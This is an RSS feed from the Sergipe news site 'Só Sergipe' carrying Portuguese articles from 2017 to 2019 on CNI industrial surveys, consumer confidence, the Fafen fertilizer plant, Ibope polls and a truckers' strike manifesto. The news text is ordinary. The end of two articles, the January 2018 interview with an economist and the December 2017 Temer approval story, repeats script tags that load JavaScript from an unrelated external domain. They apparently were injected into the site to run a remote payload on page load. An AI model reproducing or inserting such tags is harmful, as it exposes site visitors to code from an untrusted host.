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	<title>Arquivo para CNI - Só Sergipe</title>
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	<description>Notícias de Sergipe levadas a sério.</description>
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	<title>Arquivo para CNI - Só Sergipe</title>
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		<title>CNI: aumenta preocupação da indústria com a falta de demanda</title>
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		<dc:creator><![CDATA[Antonio Garcia]]></dc:creator>
		<pubDate>Tue, 23 Jul 2019 11:59:43 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[CNI]]></category>
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		<category><![CDATA[Sondagem Industrial]]></category>
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					<description><![CDATA[<p>A falta de demanda interna voltou a ganhar importância entre os principais problemas enfrentados pela indústria ao longo do mês de junho. O percentual de empresários que assinalam essa dificuldade é o maior desde o terceiro trimestre de 2016. Nos últimos seis meses, esse índice aumentou 10 pontos percentuais, chegando a 41,1% dos entrevistados, em [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">A falta de demanda interna voltou a ganhar importância entre os principais problemas enfrentados pela indústria ao longo do mês de junho. O percentual de empresários que assinalam essa dificuldade é o maior desde o terceiro trimestre de 2016. Nos últimos seis meses, esse índice aumentou 10 pontos percentuais, chegando a 41,1% dos entrevistados, em junho. Os dados são da Sondagem Industrial, divulgada pela Confederação Nacional da Indústria (CNI).</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">A produção industrial em junho caiu na comparação com maio. O índice de evolução da produção ficou em 43,4 pontos, abaixo da linha divisória. O índice costuma ficar abaixo dos 50 pontos no mês, o que significa que a queda na produção é esperada entre maio e junho. Porém, o índice de junho de 2019 é o menor para o mês dos últimos quatro anos, superando somente os registrados durante a fase mais aguda da crise econômica brasileira, entre 2014 e 2015.</p>
<p>[/box]</p>
<p style="text-align: justify;">Outra queda mais intensa também foi verificada no índice de utilização da capacidade instalada efetiva em relação ao usual, que caiu 3,9 pontos no mês e foi ao menor valor desde abril de 2017 – com exceção de maio de 2018, mês da paralisação dos caminhoneiros, que afetou fortemente o setor.</p>
<p style="text-align: justify;">A indústria aponta alta no nível de estoques. O índice de evolução dos estoques ficou em 51,1 pontos, mostrando novo aumento dos estoques de produtos vendidos pela indústria. Esse índice se mantém acima dos 50 pontos desde fevereiro. Valores acima de 50 pontos indicam crescimento do nível de estoques ou estoque efetivo acima do planejado.</p>
<h3 style="text-align: justify;">Condições financeiras</h3>
<p style="text-align: justify;">As condições financeiras da indústria no trimestre encerrado em junho não apresentaram grandes mudanças frente ao primeiro trimestre do ano, segundo o levantamento da CNI. O índice de satisfação com o lucro operacional ficou em 40,1 pontos, recuo de 0,2 ponto frente ao trimestre anterior, enquanto o índice de satisfação com a situação financeira registrou 45,7 pontos, aumento de 0,4 ponto. Ambos índices também registram valores próximos aos observados no mesmo trimestre de 2018: aumento de 0,2 e 0,4 ponto, respectivamente.</p>
<h3 style="text-align: justify;">Principais problemas</h3>
<p style="text-align: justify;">A Sondagem Industrial de junho confirma que a elevada carga tributária continua sendo apontada pelo setor como o principal problema enfrentado pelas empresas, ainda que seu indicador tenha caído em 1,2 ponto percentual na comparação com o trimestre anterior.</p>
<p style="text-align: justify;">Em segundo lugar, aparece a demanda interna insuficiente, cuja assinalação aumentou 3,6 pontos percentuais na comparação com o primeiro trimestre do ano. Trata-se do quarto aumento consecutivo do percentual.</p>
<p style="text-align: justify;">Em terceiro lugar no ranking de principais problemas está a falta ou alto custo de matéria-prima, mas o problema vem perdendo importância, já que sua menção, pelo empresários, caiu nos últimos três trimestres, passando de 27,9% no terceiro trimestre de 2018, para 18,6%.</p>
<p style="text-align: justify;">Em quarto lugar está a competição desleal, que inclui práticas como contrabando, dumping, entre outros. Essa assinalação aumentou em 1,6 ponto percentual, para 18,1% do total de entrevistados. Na sequência, aparecem problemas de ordem financeira, como inadimplência dos clientes, falta de capital de giro, taxas de juros elevadas, além de burocracia excessiva.</p>
<h3 style="text-align: justify;">Expectativas</h3>
<p style="text-align: justify;">As expectativas, em geral, apresentaram pouca variação em junho, segundo a sondagem da CNI. A expectativa de demanda cresceu em meio ponto, para 57,8 pontos, e a expectativa de compra de matéria-prima aumentou em 0,4 ponto para 55 pontos no mês. A expectativa de exportação manteve-se constante e a expectativa quanto ao número de empregados recuou 0,2 ponto. Todos os índices permanecem acima dos 50 pontos, ou seja, indicam expectativas positivas.</p>
<p style="text-align: justify;">Pelo segundo mês consecutivo, a intenção de investir manteve-se praticamente inalterada. O índice de intenção de investimento aumentou 0,1 ponto em julho e está relativamente alta. O indicador é 3,0 pontos maior que o registrado em junho de 2018 e 3,3 pontos superior a sua média histórica.</p>
<p style="text-align: justify;">A Sondagem Industrial foi feita entre 1º e 11 de julho com 1.903 empresas, sendo 770 de pequeno porte, 695 de médio e 438 de grande porte.</p>
<div class="edicao" style="text-align: justify;">Fonte:  Agencia Brasil</div>
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		<title>Nordestino está menos confiante em relação a emprego</title>
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		<dc:creator><![CDATA[Antonio Garcia]]></dc:creator>
		<pubDate>Sat, 29 Jun 2019 15:50:18 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Centro Oeste]]></category>
		<category><![CDATA[CNI]]></category>
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					<description><![CDATA[<p>O trabalhador do Nordeste é que está menos confiante em relação à expectativa de emprego e endividamento. O Índice Nacional de Expectativa do Consumidor (Inec), da Confederação Nacional da Indústria (CNI), revela que o mais baixo índice – 45,3 pontos – é no Nordeste. Variando de 0 a 100 pontos, o Inec, quando abaixo de [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">O trabalhador do Nordeste é que está menos confiante em relação à expectativa de emprego e endividamento. O Índice Nacional de Expectativa do Consumidor (Inec), da Confederação Nacional da Indústria (CNI), revela que o mais baixo índice – 45,3 pontos – é no Nordeste. Variando de 0 a 100 pontos, o Inec, quando abaixo de 50 pontos, mostra que consumidores estão sem confiança.</p>
<p style="text-align: justify;">[box type=&#8221;shadow&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">No geral, todos os brasileiros estão menos confiantes, pois o levantamento trimestral revelou que o índice recuou para 47 pontos em junho, número 1,4 ponto abaixo do registrado em abril. De acordo com a CNI, é a segunda queda consecutiva do indicador que, no entanto, continua acima da média histórica (46,1 pontos).</p>
<p style="text-align: justify;">No Norte/Centro-Oeste, o índice ficou em 47,7 pontos; no Sudeste, em 47; e no Sul, em 49,3. Na faixa de população com idade entre 35 e 44 anos, o Inec caiu 2,7 pontos entre abril e junho, ficando em 45,9 pontos.  “A queda da confiança em junho é resultado, especialmente, da piora da percepção dos brasileiros sobre o emprego e o aumento do endividamento das famílias”, informou, por meio de nota a CNI.</p>
<p style="text-align: justify;">Segundo o levantamento, o índice de expectativas em relação ao desemprego registrou variação de 54,7 pontos para 56,4 pontos; e o índice de endividamento passou de 49 para 51 pontos. Nesses casos, valores acima de 50 pontos indicam que maior é a expectativa de aumento do desemprego nos próximos seis meses e maior o nível de endividamento das famílias.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;">O índice também recuou em todos os graus de instrução, principalmente entre as pessoas com ensino médio e superior. Se o recorte focar nos que têm ensino superior, o Inec caiu 2,1 pontos, baixando para 47,5 pontos. Entre as pessoas com ensino médio, houve retração de 1,9 pontos, ficando em 47 pontos.</p>
<p style="text-align: justify;">Feita em parceria com o Ibope, esta edição do Inec ouviu, entre os dias 20 e 23 de junho, cerca de 2 mil pessoas em todo o país.</p>
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		<title>Petrobras inicia processo para arrendar a Fafen</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Thu, 10 Jan 2019 18:05:15 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[CNI]]></category>
		<category><![CDATA[Fafen]]></category>
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					<description><![CDATA[<p>A Petrobras iniciou o processo de qualificação de empresas que possam vir a arrendar as Fábricas de Fertilizantes Nitrogenados (Fafen) de Sergipe e da Bahia. A informação foi dada hoje, 10, pela Federação da Indústria de Sergipe (FIES), que vem participando das discussões desde que a estatal anunciou que fecharia as duas unidades por não [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="Fafen">A Petrobras iniciou o processo de qualificação de empresas  que possam vir a arrendar as Fábricas de Fertilizantes Nitrogenados (Fafen) de  Sergipe e da Bahia. A informação foi dada hoje, 10, pela Federação da Indústria de Sergipe (FIES), que vem participando das discussões desde que a estatal anunciou que fecharia as duas unidades por não serem produtivas e causarem prejuízos.</p>



<p class="has-background has-vivid-cyan-blue-background-color">A unidade de Sergipe tem capacidade para produzir 1.800 ton/dia de ureia. Além dela, também são comercializados amônia, gás carbônico e sulfato de amônio. Esses insumos são utilizados largamente em indústrias de segmentos variados, como a petroquímica e até na agroindústria. Um déficit de milhares de empregos, entre os diretos e indiretos, aconteceria, caso a fábrica sergipana fechasse as portas.</p>



<p>Diversas reuniões foram realizadas aqui no Estado e em outras localidades, até com o então presidente do país Michel Temer, tudo em prol da manutenção das atividades da Fafen em nosso estado. A FIES teve como seu interlocutor durante todos esses diálogos, o ex-presidente da Confederação Nacional da Indústria (CNI) e FIES, e ex-governador local, Albano Franco que tem trânsito entre diversas frentes e lutou bravamente por mais essa conquista ao povo sergipano. O futuro arrendamento da fábrica é uma vitória importante frente ao panorama de hibernação que se desenhava há pouco tempo.</p>
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		<title>Ibope/CNI: Bolsonaro tem 27%; Haddad, 21%; Ciro, 12% e Alckmin, 8%</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Wed, 26 Sep 2018 18:49:25 +0000</pubDate>
				<category><![CDATA[Nacional]]></category>
		<category><![CDATA[Política nacional]]></category>
		<category><![CDATA[Bolsonaro]]></category>
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		<category><![CDATA[Ibope]]></category>
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		<category><![CDATA[presidência]]></category>
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					<description><![CDATA[<p>O Ibope divulgou, nesta quarta-feira (26), nova pesquisa eleitoral sobre a disputa à Presidência da República. Conforme o levantamento, Jair Bolsonaro (PSL) obteve 27% das intenções de voto; Fernando Haddad (PT), 21% e Ciro Gomes, do PDT, (12%). O ex-governador paulista Geraldo Alckmin (PSDB) é o indicado por 8% dos entrevistados; Marina Silva (Rede) obteve [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">O Ibope divulgou, nesta quarta-feira (26), nova pesquisa eleitoral sobre a disputa à Presidência da República. Conforme o levantamento, Jair Bolsonaro (PSL) obteve 27% das intenções de voto; Fernando Haddad (PT), 21% e Ciro Gomes, do PDT, (12%).</p>
<p style="text-align: justify;">O ex-governador paulista Geraldo Alckmin (PSDB) é o indicado por 8% dos entrevistados; Marina Silva (Rede) obteve 6% das menções; João Amoêdo (Novo) teve 3%; Alvaro Dias (Podemos) e Henrique Meirelles (MDB) foram mencionados, cada um, por 2% dos eleitores. Guilherme Boulos (PSOL) pontuou com 1%.</p>
<p style="text-align: justify;">Cabo Daciolo (Patriota), Vera Lúcia (PSTU), João Goulart Filho (PPL) e Eymael (DC) não pontuaram neste levantamento do Ibope. Onze por cento dos entrevistados declararam voto em branco ou nulo; e 7% não responderam ou não sabem em quem vão votar.</p>
<p style="text-align: justify;">A pesquisa foi encomendada pela Confederação Nacional da Indústria (CNI). O levantamento ouviu 2 mil eleitores em 126 municípios entre os dias 22, 23 e 24 de setembro (últimos sábado, domingo e segunda-feira).</p>
<p style="text-align: justify;">De acordo com o Ibope, o nível de confiança é de 95%; e a margem de erro é de 2 pontos percentuais para mais ou para menos. A pesquisa foi registrada no Tribunal Superior Eleitoral (BR-04669/2018).</p>
<p style="text-align: justify;"><strong>2º turno &#8211; </strong>A pesquisa também verificou o posicionamento dos eleitores em eventuais cenários de disputa no 2º turno. No eventual confronto entre Jair Bolsonaro e Fernando Haddad, a preferência recai para o petista, com 42% das preferências contra 38% do candidato do PSL (brancos e nulos com 16% e 4% não sabem ou não quiseram responder).</p>
<p style="text-align: justify;">Na hipótese de disputa entre Ciro e Bolsonaro, a vantagem seria do candidato do PDT, 44% contra os 35% do deputado (brancos e nulos com 17% e 3% não sabem ou não quiseram responder). Se a disputa ocorresse entre Alckmin e Bolsonaro, o resultado é empate no limite da margem de erro. O tucano teria 40% contra 36% do candidato do PSL (brancos e nulos com 20% e 3% não sabem ou não quiseram responder).</p>
<p style="text-align: justify;">Nas simulações, Jair Bolsonaro está tecnicamente empatado com Marina Silva. Bolsonaro teria 40% contra 38% de Marina, dentro da margem de erro. Brancos e nulos com 19% e 3% não sabem ou não quiseram responder.</p>
<p style="text-align: justify;"><strong>Rejeição</strong> &#8211; O levantamento também verificou em quem os eleitores não votariam de “jeito nenhum”. A rejeição de Jair Bolsonaro é de 44%. Fernando Haddad e Marina Silva têm índice de rejeição de 27%.</p>
<p style="text-align: justify;">Dezenove por cento dos entrevistados não votariam em Geraldo Alckmin; 16% não escolheriam Ciro Gomes. Cabo Daciolo e Henrique Meirelles têm 11% de rejeição; e Eymael. 9%.</p>
<p style="text-align: justify;">Alvaro Dias, Guilherme Boulos e Vera Lúcia têm o mesmo índice de rejeição: 9%. Oito por cento dos entrevistados não votariam em João Amoêdo. Sete por cento se opõe a João Goulart Filho.</p>
<p style="text-align: justify;">Os percentuais não são excludentes, o entrevistado pode indicar rejeição contra mais de um candidato.</p>
<p style="text-align: justify;">Dois por cento disseram que poderia votar em qualquer candidato e 7% não quiseram responder ou não sabem quem rejeitaria.</p>
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		<item>
		<title>Empresas locais poderão se beneficiar de acordos internacionais</title>
		<link>https://teste.sosergipe.com.br/empresas-locais-poderao-se-beneficiar-de-acordos-internacionais/</link>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Tue, 18 Sep 2018 18:18:51 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[balança comercial]]></category>
		<category><![CDATA[CNI]]></category>
		<category><![CDATA[empresas]]></category>
		<category><![CDATA[exterior]]></category>
		<category><![CDATA[Fies]]></category>
		<category><![CDATA[internacional]]></category>
		<category><![CDATA[laranja]]></category>
		<category><![CDATA[Sergipe]]></category>
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					<description><![CDATA[<p>As empresas sergipanas que quiserem ampliar os negócios no exterior têm, agora, uma excelente oportunidade. A Confederação Nacional da Indústria (CNI) publicou o Manual sobre Acordos de Compras Governamentais que está acessível através do endereço www.portaldaindustria.com.br .  A partir das dicas deste manual, quem sabe, no futuro próximo, o empresário que desejar poderá ter acesso [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">As empresas sergipanas que quiserem ampliar os negócios no exterior têm, agora, uma excelente oportunidade. A Confederação Nacional da Indústria (CNI) publicou o Manual sobre Acordos de Compras Governamentais que está acessível através do endereço <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://www.portaldaindustria.com.br">www.portaldaindustria.com.br</a></span> .  A partir das dicas deste manual, quem sabe, no futuro próximo, o empresário que desejar poderá ter acesso a um mercado potencial de US$ 1109 bilhões. E isso será possível graças ao acordo de compras governamentais que será colocado em prática a partir de 2019 entre o Brasil e Chile, Peru e o Mercosul.</p>
<p style="text-align: justify;">O Manual é importante, desde que o Brasil firmou acordos internacionais que possibilitarão a participação de empresas brasileiras em licitações e concessões no exterior. A publicação é um verdadeiro guia de como participar, quais acordos estão válidos com cada país, qual a modalidade de negócio possível e diversas informações acerca da realização dos negócios.</p>
<p style="text-align: justify;">Esses novos acordos e negócios que serão realizados entre os países alavancarão as exportações do Brasil. Isso daria um upgrade na economia nacional e ajudaria a tornar superavitária a nossa Balança Comercial. Nesse momento que o país está em recuperação econômica, qualquer oportunidade de negócio deve ser vista com bons olhos.</p>
<p style="text-align: justify;">Em Sergipe, por exemplo, dados do Boletim Sergipe Econômico analisados recentemente apontaram que a balança comercial apresentou um déficit de US$ 30,2 milhões em julho. A adição de acordos internacionais com países mais próximos e que estejam com uma economia equilibrada, caso do Chile, seria um ganho para as empresas que estão dispostas a enfrentar o mercado externo. Agora é só pensar numa criança, em uma escola sul-americana, tomando um suco produzido no nosso estado, visto que essa é a matéria-prima mais exportada pela indústria sergipana há anos.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
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		<title>FIES diz em manifesto que o &#8220;Brasil está inerte&#8221;</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Tue, 29 May 2018 18:57:06 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Política]]></category>
		<category><![CDATA[Política nacional]]></category>
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					<description><![CDATA[<p>A Federação das Indústrias do Estado de Sergipe  (FIES) divulgou hoje, 29, um manifesto alertando que o Brasil está inerte e &#8220;não pode permanecer mais tempo parado&#8221;. A entidade diz que  os prejuízos são enormes, citou como exemplo os dados da Associação Brasileira de Laticínios, mas  não disse exatamente o quanto  esse prejuízo é em [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">A Federação das Indústrias do Estado de Sergipe  (FIES) divulgou hoje, 29, um manifesto alertando que o Brasil está inerte e &#8220;não pode permanecer mais tempo parado&#8221;. A entidade diz que  os prejuízos são enormes, citou como exemplo os dados da Associação Brasileira de Laticínios, mas  não disse exatamente o quanto  esse prejuízo é em Sergipe.   E lamentou o fato de no país existirem, atualmente, 13,4 milhões de desempregados, segundo dados do Instituto Brasileiro de Geografia e Estatística (IBGE).</p>
<p style="text-align: justify;">Em outro ponto, a FIES critica o fato dos pacientes estarem no hospitais a espera insumos que não chegam devido a paralisação dos caminhoneiros, além de jovens e crianças fora das salas de aula. E alertou: &#8220;a comunicação está prestes a ficar comprometida, pois os geradores de energia trabalham a base de óleo diesel&#8221;.</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Leia, agora, a íntegra do manifesto da FIES:</p>
<p style="font-weight: 400; text-align: justify;">O Brasil está inerte. O clima é de preocupação com os rumos que a greve dos caminhoneiros tomou.  Após dias de diálogo, as exigências da categoria foram atendidas. Está na hora de deixarmos esse processo letárgico e voltarmos a produzir. O país não pode permanecer mais tempo parado.  É de suma importância, imediatamente, desbloquear as vias de transporte e proteger aqueles que querem trabalhar.</p>
<p style="font-weight: 400; text-align: justify;">O prejuízo para a economia do país é gigantesco. Como exemplo, dados da  Associação Brasileira de Laticínios indicam que o prejuízo já chega a casa de R$  1 bilhão e o volume de leite descartado de 300 milhões de litros.  Em um país com 13,4 milhões  de pessoas desempregadas, segundo o IBGE, uma situação como a atual é impraticável.</p>
<p style="font-weight: 400; text-align: justify;">Pacientes em hospitais à espera de insumos indispensáveis para a manutenção de suas vidas. Crianças e jovens fora das salas de aula. A comunicação está prestes a ficar comprometida, pois os geradores de energia trabalham a base de óleo diesel. E por aí vai. As perdas são indiscutíveis e dependerão de um esforço sobrecomum para que sejam repostas.</p>
<p style="font-weight: 400; text-align: justify;">Em Sergipe, diversos municípios já diminuíram a oferta de serviços públicos, como transporte e educação, além do prejuízo inestimável ao nosso setor produtivo. Sem escoar o que é produzido, como gerar capital? A via rodoviária ainda é utilizada por 60% de nossas cargas, o que denota o impacto negativo desse momento em nossa economia.</p>
<p style="font-weight: 400; text-align: justify;">Não cabem, no momento oportunismo e novas paralisações. É hora sim, de arregaçar as mangas e trabalhar para recuperar o tempo perdido. Cada um arcar com suas responsabilidades e buscar, antes de qualquer ação como essa, o diálogo, sempre. A prioridade agora deve ser o reabastecimento imediato e a discussão de mudanças estruturais como o papel da Petrobras, revisão tributária,  reavaliação da matriz de transporte e investimento em infraestrutura.</p>
<p style="font-weight: 400; text-align: justify;">A Federação das Indústrias do Estado de Sergipe (FIES), em consonância com a Confederação Nacional da Indústria (CNI), conclama as autoridades para uma solução imediata desta questão. É fundamental a participação de todos os entes públicos, dos três Poderes, para resolver esse impasse e fazer o país voltar a caminhar. É hora de deixar trabalhar quem quer trabalhar.</p>
<p>[/box]</p>
<p style="font-weight: 400;">
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		<title>Empresários sergipanos retomam o otimismo</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Sun, 14 Jan 2018 09:00:52 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[CNI]]></category>
		<category><![CDATA[confiança]]></category>
		<category><![CDATA[empresários]]></category>
		<category><![CDATA[Fies]]></category>
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		<category><![CDATA[indústria]]></category>
		<category><![CDATA[reforma da previdência]]></category>
		<category><![CDATA[Reforma Trabalhista]]></category>
		<category><![CDATA[sergipano]]></category>
		<category><![CDATA[Sondagem Industrial]]></category>
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					<description><![CDATA[<p>Depois de um 2017 complicado e cheio de incertezas, o ano de 2018, em que pese ser atípico, tende a melhorar. O empresariado sergipano vem recuperando o otimismo, apostando mais na própria empresa e na perspectiva de dias melhores.  A análise é da economista da Federação das Indústrias de Sergipe (FIES), Magali Alves de Andrade [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Depois de um 2017 complicado e cheio de incertezas, o ano de 2018, em que pese ser atípico, tende a melhorar. O empresariado sergipano vem recuperando o otimismo, apostando mais na própria empresa e na perspectiva de dias melhores.  A análise é da economista da Federação das Indústrias de Sergipe (FIES), Magali Alves de Andrade e coincide com o mais recente estudo Informe Conjuntural, lançado este mês, pela Confederação Nacional da Indústria (CNI). O estudo aponta um crescimento de 3% do setor industrial, dado acima da estimativa do Produto Interno Bruto (PIB) que pode crescer 2,6%, o que não acontece desde 2011.</p>
<p style="text-align: justify;">No entendimento de Magali Alves de Andrade, a tendência é que haja a recuperação do emprego em 2018, pois 2016 e 2017 foram muito complicados. Só para se ter uma ideia,  3,5 milhões de postos de trabalho foram fechados em 2015 e 2016, mas a previsão é que o desemprego caia 11,8% este ano.</p>
<p style="text-align: justify;">A tendência de melhoria na economia é boa, mas o país vai enfrentar uma batalha com a reforma da previdência, os sucessivos feriados – alguns deles prolongados – Copa do Mundo e as eleições. Leia entrevista com a economista Magali Alves.</p>
<p>&nbsp;</p>
<p style="text-align: justify;"><strong>SÓ SERGIPE</strong> &#8211;   <strong>Este será um ano atípico, cheio de feriados, Copa do Mundo, reforma da Previdência para ser aprovada e as eleições. Quais são as perspectivas para a indústria sergipana dentro deste cenário?</strong></p>
<p style="text-align: justify;"><strong>MAGALI ALVES </strong> &#8211;  Realmente, teremos esse ano atípico e com feriados com tendência de serem prolongados, o que para indústria é ruim por serem dias de inatividade. Mas no final de 2017 passamos a ter uma perspectiva de melhora;  o otimismo começou a voltar para os empresários sergipanos. Temos o acompanhamento da Sondagem Industrial e estamos vendo que o índice de confiança do empresário vem se recuperando. Para 2018, temos um pouco mais de otimismo, iniciado com a reforma trabalhista e a sinalização do Governo com a reforma da Previdência. E isso faz com que o setor industrial comece a vislumbrar um cenário melhor, com perspectivas de crescimento.</p>
<p style="text-align: justify;"><strong>SS</strong> <strong>– Seria o começo de recuperação da indústria?</strong></p>
<p style="text-align: justify;"><strong>MA</strong> – Sim. Em 2016 tivemos um quadro muito ruim na questão do emprego, com número muito alto de desligamentos. Em 2017, os resultados ainda não são positivos, mas bem melhores que 2016 e começa a mostrar que, provavelmente, o emprego vai voltar a crescer em 2018.  Junto com um crescimento da produção também. Quando fazemos análise da Sondagem, vemos que os empresários sergipanos estão dispostos a investir, com um pouco mais de confiança no mercado.</p>
<p style="text-align: justify;"><strong>SS – A confiança na economia do Governo ou na questão política?</strong></p>
<p style="text-align: justify;"><strong>MA</strong> – Temos essa diferenciação no indicador. A confiança real do empresário está na própria empresa. Eles estão confiantes de que, investindo, alocando direito sua empresa vão ter bons resultados.  Mas eles têm uma certa desconfiança com relação ao governo, a economia, mas já vem melhorando. Tivemos uma queda bem significativa dessa confiança no meio de 2017, mas no final do ano houve melhora. E a tendência agora é melhorar.</p>
<p style="text-align: justify;"><strong>SS – Você ouve dos empresários esses sinais de confiança, para não ficarmos somente nos números estatísticos da Sondagem?</strong></p>
<p style="text-align: justify;"><strong>MA</strong> –A Sondagem é um indicador de percepção. É feito um questionário para os empresários sergipanos e eles vão dizendo o nível de otimismo, se melhorou ou piorou, se empregou alguém ou não. O que percebemos é essa recuperação do otimismo.</p>
<p style="text-align: justify;"><strong>SS – Chegaram indústrias novas em Sergipe no ano passado?</strong></p>
<p style="text-align: justify;"><strong>MA</strong> – Sim. Cerca de cinco ou seis mais significativas que abriram através do Governo do Estado. Mas aqui na FIES, temos o Centro Internacional de Negócios (CIM), auxiliando empresas locais que têm interesse em exportar, mas também temos a política de atração de investimentos.  Tentamos fazer uma facilitação para empresas que querem investir aqui no Nordeste e nós vamos mostrar o Estado, as potencialidades, as linhas de financiamento.</p>
<p style="text-align: justify;"><strong>SS – O CIM está prospectando novas indústrias para 2018?</strong></p>
<p style="text-align: justify;"><strong>MA</strong> &#8211;  Estão sim, inclusive com o Projeto Rotas, que a ideia é de abrir o mercado, atrair investimentos para cá. Provavelmente, 2018 será um ano bastante movimentado para o CIM, buscando o crescimento das empresas que temos em Sergipe e atraindo novas.</p>
<p style="text-align: justify;"><strong>SS – Em resumo, 2018 será bem melhor?</strong></p>
<p style="text-align: justify;"><strong>MA</strong> – Com quase toda certeza. Tivemos 2017 muito conturbado, com incertezas grandes na política e isso dava insegurança. A partir do momento que tivemos certa estabilidade na política, houve a recuperação da confiança. Óbvio, que isso está a passos lentos, mas teremos a volta, aos poucos, da recuperação da economia.</p>
<p>&nbsp;</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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		<title>Governo Temer é ruim para 74% da população</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Wed, 20 Dec 2017 15:38:01 +0000</pubDate>
				<category><![CDATA[Nacional]]></category>
		<category><![CDATA[Política nacional]]></category>
		<category><![CDATA[brasileiros]]></category>
		<category><![CDATA[CNI]]></category>
		<category><![CDATA[confiança]]></category>
		<category><![CDATA[Ibope]]></category>
		<category><![CDATA[Michel Temer]]></category>
		<category><![CDATA[pesquisa]]></category>
		<category><![CDATA[ruim]]></category>
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					<description><![CDATA[<p>O governo do presidente Michel Temer foi considerado ruim ou péssimo por 74% da população, de acordo com a pesquisa CNI/Ibope. Já 6% consideram ótimo ou bom, 19% regular e 2% não sabem ou não responderam. O levantamento foi divulgado hoje (20) pela Confederação Nacional da Indústria (CNI). [box type=&#8221;success&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;] A pesquisa [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: left;">O governo do presidente Michel Temer foi considerado ruim ou péssimo por 74% da população, de acordo com a pesquisa CNI/Ibope. Já 6% consideram ótimo ou bom, 19% regular e 2% não sabem ou não responderam. O levantamento foi divulgado hoje (20) pela Confederação Nacional da Indústria (CNI).</p>
<p style="text-align: left;">[box type=&#8221;success&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: left;">A pesquisa CNI-Ibope do quarto trimestre de 2017 foi realizada entre 7 e 10 de dezembro, com 2 mil pessoas em 127 municípios e revela a avaliação dos brasileiros sobre o desempenho do governo federal. No último levantamento, divulgado em setembro, 3% dos entrevistados avaliaram o governo como ótimo ou bom, 16% como regular, 77% como ruim ou péssimo e 3% não souberam ou não responderam.</p>
<p style="text-align: left;">O levantamento também mostra o grau de confiança no presidente Michel Temer e a aprovação do governo em nove áreas de atuação, entre elas, saúde, educação, segurança pública e combate à fome e ao desemprego. A margem de erro é de 2% para mais ou para menos e o nível de confiança utilizado é de 95%.</p>
<p>[/box]</p>
<p style="text-align: left;">De acordo com os dados, a popularidade do presidente oscilou positivamente, se comparado à última pesquisa, mas ainda dentro da margem de erro. “Houve um pequeno aumento de popularidade em todos os indicadores, mas a popularidade continua baixa, comparando todo o histórico”, disse o gerente-executivo da Unidade de Pesquisa e Competitividade da CNI, Renato da Fonseca.</p>
<p style="text-align: left;">Os brasileiros que confiam no presidente aumentaram de 6% para 9%. Já 90% não confiam em Temer; na última avaliação, esse percentual era de 92%. O nível de pessoas que desaprova a maneira do presidente governar também oscilou de 89% para 88%. Entre os que aprovam sua maneira de governar, eram 7% em setembro, agora são 9%.</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script>&#8220;&gt;</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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		<title>País retoma crescimento moderadamente, diz CNI</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Thu, 14 Dec 2017 18:50:00 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[CNI]]></category>
		<category><![CDATA[Congresso Nacional]]></category>
		<category><![CDATA[crescimento]]></category>
		<category><![CDATA[inflação]]></category>
		<category><![CDATA[moderadamente]]></category>
		<category><![CDATA[PIB]]></category>
		<category><![CDATA[Selic]]></category>
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					<description><![CDATA[<p>A economia brasileira retoma o crescimento, mas em ritmo moderado, de acordo com a Confederação Nacional da Indústria (CNI). A estimativa é de um crescimento do Produto Interno Bruto (PIB, soma de todas as riquezas produzidas pelo país), em 2017, de 1,1% e uma inflação de 2,9%. A expansão da indústria fechará o ano em [&#8230;]</p>
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]]></description>
